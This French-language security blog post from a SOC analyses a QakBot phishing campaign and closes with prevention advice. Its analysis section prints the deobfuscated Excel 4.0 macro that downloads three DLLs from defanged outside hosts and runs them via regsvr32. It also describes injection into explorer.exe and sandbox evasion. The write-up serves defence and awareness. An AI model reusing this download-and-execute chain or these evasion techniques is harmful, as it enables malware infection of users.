Recrudescence des campagnes de Phishing QakBot
Recrudescence des campagnes de Phishing QakBot
Ces dernières semaines, le SOC At-Defense a observé une recrudescence de campagne de phishing Qakbot chez ses clients. Ces attaques utilisent la dernière version du malware QakBot existante (Version :403.549, campagne : 1647248933).
Une sensibilisation des équipes techniques et des utilisateurs finaux permet de réduire le risque d’une compromission par ce malware difficilement détectable par les mécanismes usuels de défense (filtre mail, Antivirus/EDR, etc.)
Description de la menace
Une compromission par QakBot entraine généralement les actions suivantes :
Exécution du malware :
Sur le poste infecté des opérations de reconnaissances automatisées sont réalisées dès l’exécution du malware permettant de récupérer des informations sur l’utilisateur, ses droits, les groupes auxquels il appartient ainsi que des informations sur le système et les réseaux telles que le nom de la machine, la configuration IP, la liste des disques ou encore la table ARP.
QakBot charge ensuite des modules complémentaires permettant d’obtenir des informations plus sensibles comme les identifiants des comptes bancaires, les e-mails ou encore les mots de passes de l’utilisateur.
Lorsque le malware a récupéré suffisamment d’informations sur la cible, l’accès sur le système infecté est revendu à d’autres groupes d’attaquants. Ces groupes d’attaquants utilisent d’autres malware comme les ransomware pour chiffrer le système cible.
Communication avec les attaquants :
La connexion avec le serveur commande et de contrôle est effectuée à intervalle régulier pour diverses opérations. Parmi ces opérations on retrouve notamment :
- La récupération de la dernière version du malware
- L’exécution de commandes à distance
- Le chargement des modules supplémentaires
La liste complète des adresses IP des serveurs est directement dans le code du malware et varie en fonction des campagnes.
Objectifs sur la cible :
L’accès ainsi obtenu peut ensuite être utilisé pour réaliser différentes actions sur objectif en fonction de l’environnement.
- Cela inclus par exemple la récupération des mails du poste infecté
- Le vol des cookies des navigateurs web
- L’exécution d’un keylogger
Ces attaques peuvent également déboucher sur des exfiltrations d’informations sensibles ou des déploiements de ransomware visant à corrompre toutes les données de l’entreprise.
Vecteurs d’infections et défense évasions
Les différentes analyses des derniers cas recensés par le SOC At-Defense révèlent que le vecteur d’infection principalement utilisé par ce malware est le phishing email.
Nous avons observé deux méthodes permettant à l’utilisateur ciblé de récupérer le fichier malveillant Office depuis l’email :
- Via une pièce jointe directement dans l’email
- Via un lien vers une plateforme de partage en ligne (OneDrive, Mega, …)
Dans ces deux cas, le fichier Office est compressé dans une archive protégée par mot de passe et le mot de passe est inclus dans le contenu de l’email.
Ce type de technique permet de passer outre les mécanismes d’analyses des emails.
Exemple :
Le fichier Office extrait contient le code malveillant sous la forme de Macro, les extensions utilisées peuvent varier en fonction des campagnes (Ex : docm, xlsm, xlsb, …).
TTP
Les techniques, les tactiques et les procédures permettent de contextualiser les actions effectuées par les charges malveillantes sur un système cible. Elles permettent également de mettre en place des règles de détection sur les équipements de sécurité.
Tactic | ID | Name | Description |
---|---|---|---|
Defense Evasion | T1027 | Obfuscated Files or Information | QakBot XLM files are obfuscated and sheets are hidden. |
Defense Evasion | T1027.002 | Obfuscated Files or Information: Software Packing | Every binary and config is obfuscated and encrypted using RC4 cipher. |
Execution, Persistence, Privilege Escalation | T1053 | Scheduled Task/Job | QakBot creates tasks to maintain persistence. |
Execution, Persistence, Privilege Escalation | T1053.005 | Scheduled Task/Job: Scheduled Task | QakBot uses this TTP as a way of executing every time the malicious DLL. |
Defense Evasion, Privilege Escalation | T1055 | Process Injection | QakBot uses Process Injection to load into the memory some payloads. |
Defense Evasion, Privilege Escalation | T1055.001 | Process Injection: Dynamic-link Library Injection | DLL injection is used to load QakBot via rundll32 Windows utility. |
Collection, Credential Access | T1056 | Input Capture | QakBot collects credentials and sensitive data from the victim’s devices. |
Discovery | T1057 | Process Discovery | QakBot performs process discovery. |
Discovery | T1082 | System Information Discovery | QakBot obtains the list of processes and other details. |
Discovery, Defense Evasion | T1497 | Virtualization/Sandbox Evasion | Anti-VM and sandbox techniques are used to evade detection. |
Discovery, Defense Evasion | T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | Time-based evasion is checked during the malware run time. |
Discovery | T1518 | Software Discovery | A list of the installed software is obtained. |
Discovery | T1518.001 | Software Discovery: Security Software Discovery | Installed AVs and other security software are obtained. |
Analyse approfondie
L’analyse suivante détaille la méthode permettant d’obtenir le cœur du binaire malveillant.
Le cas présenté ci-dessous est un fichier Excel au format XSLB récupéré sur OneDrive. Le fichier XLSB inclut des Macro v4 (XLM).
Ce type de macro permet d’exécuter du code directement dans les cellules du fichier Excel, exemple :
Dans notre cas le code n’est pas directement visible dans le fichier Excel car plusieurs couches d’obfuscations ont été ajoutées pour accroitre la difficulté d’analyse.
Dans un premier temps les feuilles Excel contenants le code malveillant sont cachées :
Ensuite, les lignes de codes sont coupées dans des sous-cellules :
Le code malveillant est reconstruit dans les cellules de « QQDQ à QQDQ7 » :
Le code final réassemblé est le suivant :
[QQDQ]=CALL(« Kenel32″, »CeateDiectoyA », »JCJ », »C:\Bduc »,0)
[QQDQ1]=CALL(« ulmon », »URLDownloadToFilA », »JJCCBB »,0, »hxxps://mustafaksoy.com/UMWPpecHvg/gmkox.png », »C:\Bduc\xel1.dll »,0,0)
[QQDQ2]=EXEC(« regsvr32 C:\Bduc\xel1.dll »)
[QQDQ3]=CALL(« ulmon », »URLDownloadToFilA », »JJCCBB »,0, »hxxps://britcap.com/S4ABFgxnWO/gmkox.png », »C:\Bduc\xel2.dll »,0,0)
[QQDQ2]=EXEC(« regsvr32 C:\Bduc\xel2.dll »)
[QQDQ5]=CALL(« ulmon », »URLDownloadToFilA », »JJCCBB »,0, »hxxps://autoplacasdilger.com.br/ECg8m6oX27/gmkox.png », »C:\Bduc\xel3.dll »,0,0)
[QQDQ6]=EXEC(« regsvr32 C:\Bduc\xel3.dll »)
[QQDQ7]=RETURN()
Ce code télécharge et exécute 3 DLL malveillantes de QakBot.
Les DLL obtenues sont des binaires développés en Delphi incluant du code non utilisé par le malware.
L’objectif de ce supplément de code est d’accroître la difficulté d’analyse par les antivirus, car la grande majorité du code est légitime.
L’analyse des sections du code, révèle la présence d’une ressource non signée :
Cette ressource est chargée dynamiquement par la DLL puis déchiffrée à la volée dans une zone mémoire.
Le code malveillant injecté est ensuite exécuté.
Ce premier bout de code malveillant est utilisé pour créer un nouveau Thread. Le code malveillant est réinjecté et exécuté depuis le nouveau Thread.
La fonction dans le Thread vérifie si la machine est utilisée pour le développement du malware. Cette vérification est faite par la présence du fichier suivant :
« C:\\INTERNAL\\__empty »
Dans le cas où ce fichier existe le malware ne s’exécute pas. Cette fonctionnalité permet donc d’utiliser ce répertoire comme un « killswitch » du malware et ainsi éviter une contamination.
A ce stade nous disposons du cœur du malware QakBot, ce cœur varie en fonction des campagnes. Cependant le début est souvent le même :
1. Lancement d’un binaire légitime présent dans « C:\Windows\System32 », dans notre cas « explorer.exe ».
2. Création d’un thread dans un état suspendu dans le processus « explorer.exe »
3. Ecriture du code malveillant dans la mémoire du Thread distant du processus « explorer.exe »
4. Passage du thread en mode actif
Notre version ci-dessus créer une tache planifiée pour la persistance sur le système, ajoute des exceptions pour l’antivirus « Windows Defender », puis se connecte aux serveurs de commande et de contrôle pour signaler l’infection du poste.
Une fois les informations remontées au serveur de contrôle, le malware télécharge des modules supplémentaires sur le serveur de contrôle et les exécutes sur le système cible.
Le nombre de modules augmente et se complexifie au fil des campagnes.
Exemple des modules :
- Collecte des informations sur la machine infectée
- Collecte des informations d’identification : Identifiants Windows / Identifiants des naviguateurs web
- Collecte des emails
Prévention et awareness
Le vecteur initial étant du phishing, les utilisateurs finaux jouent un rôle majeur dans la lutte contre cette menace.
Toutefois des actions techniques peuvent également être mises en place afin de réduire le risque de compromission.
Filtrage et analyse mail :
Il est difficile de se prémunir des mails propageant QakBot car les pièces jointes sont généralement chiffrées par un mot de passe ce qui empêche l’analyse dynamique. Il est cependant possible par exemple d’ajouter un bandeau d’avertissement lorsque l’email est reçu depuis l’extérieur de l’entreprise.
Sensibilisation des utilisateurs :
Les utilisateurs doivent être sensibilisés au risque de l’exécution des macros d’un fichier Office (Word, Excel…).
De plus les utilisateurs doivent être informés sur le risque de télécharger des archives (.zip, .7z…) chiffrées avec un mot de passe sur internet. Cette méthode d’envoi de malware est très connue et répandue car elle permet de contourner les dispositifs d’analyse antivirus présents au niveau de la passerelle mail.
Bonne pratique de sécurités :
Enfin l’application de bonnes pratiques de sécurités peuvent permettre d’empêcher, de bloquer ou de détecter et contenir l’attaque au plus tôt. Cela inclus par exemple l’utilisation d’un antivirus avec une composante EDR à jour ainsi que l’utilisation d’un SOC intégrant les derniers indices de compromissions.
Le SOC AT-Defense dispose de règles de détections efficace et éprouvée face à cette menace permettant une détection avant même la phase d’exécution.